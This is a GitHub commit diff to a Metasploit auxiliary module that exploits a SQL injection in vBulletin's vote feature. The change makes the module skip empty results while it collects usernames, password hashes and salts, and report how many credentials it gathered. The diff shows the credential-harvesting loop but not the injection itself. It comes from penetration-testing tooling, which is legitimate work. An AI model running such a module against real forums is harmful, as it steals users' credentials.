Skip to content

Commit 9241227

Browse files
committed
Account for failed cred gathering attempts
Sometimes the SQL error doesn't contain the info we need.
1 parent f2f8c08 commit 9241227

File tree

1 file changed

+19
-12
lines changed

1 file changed

+19
-12
lines changed

modules/auxiliary/gather/vbulletin_vote_sqli.rb

Lines changed: 19 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -160,7 +160,7 @@ def run
160160
return
161161
end
162162
count_users = data.to_i
163-
print_good("#{peer} - #{count_users} users found")
163+
print_good("#{peer} - #{count_users} users found. Collecting credentials...")
164164

165165
users_table = Rex::Ui::Text::Table.new(
166166
'Header' => 'vBulletin Users',
@@ -170,19 +170,26 @@ def run
170170

171171
for i in 0..count_users
172172
user = get_user_data(node_id, i)
173-
report_auth_info({
174-
:host => rhost,
175-
:port => rport,
176-
:user => user[0],
177-
:pass => user[1],
178-
:type => "hash",
179-
:sname => (ssl ? "https" : "http"),
180-
:proof => "salt: #{user[2]}" # Using proof to store the hash salt
181-
})
182-
users_table << user
173+
unless user.join.empty?
174+
report_auth_info({
175+
:host => rhost,
176+
:port => rport,
177+
:user => user[0],
178+
:pass => user[1],
179+
:type => "hash",
180+
:sname => (ssl ? "https" : "http"),
181+
:proof => "salt: #{user[2]}" # Using proof to store the hash salt
182+
})
183+
users_table << user
184+
end
183185
end
184186

185-
print_line(users_table.to_s)
187+
if users_table.rows.length > 0
188+
print_good("#{users_table.rows.length.to_s} credentials successfully collected")
189+
print_line(users_table.to_s)
190+
else
191+
print_error("Unfortunately the module was unable to extract any credentials")
192+
end
186193
end
187194

188195

0 commit comments

Comments
 (0)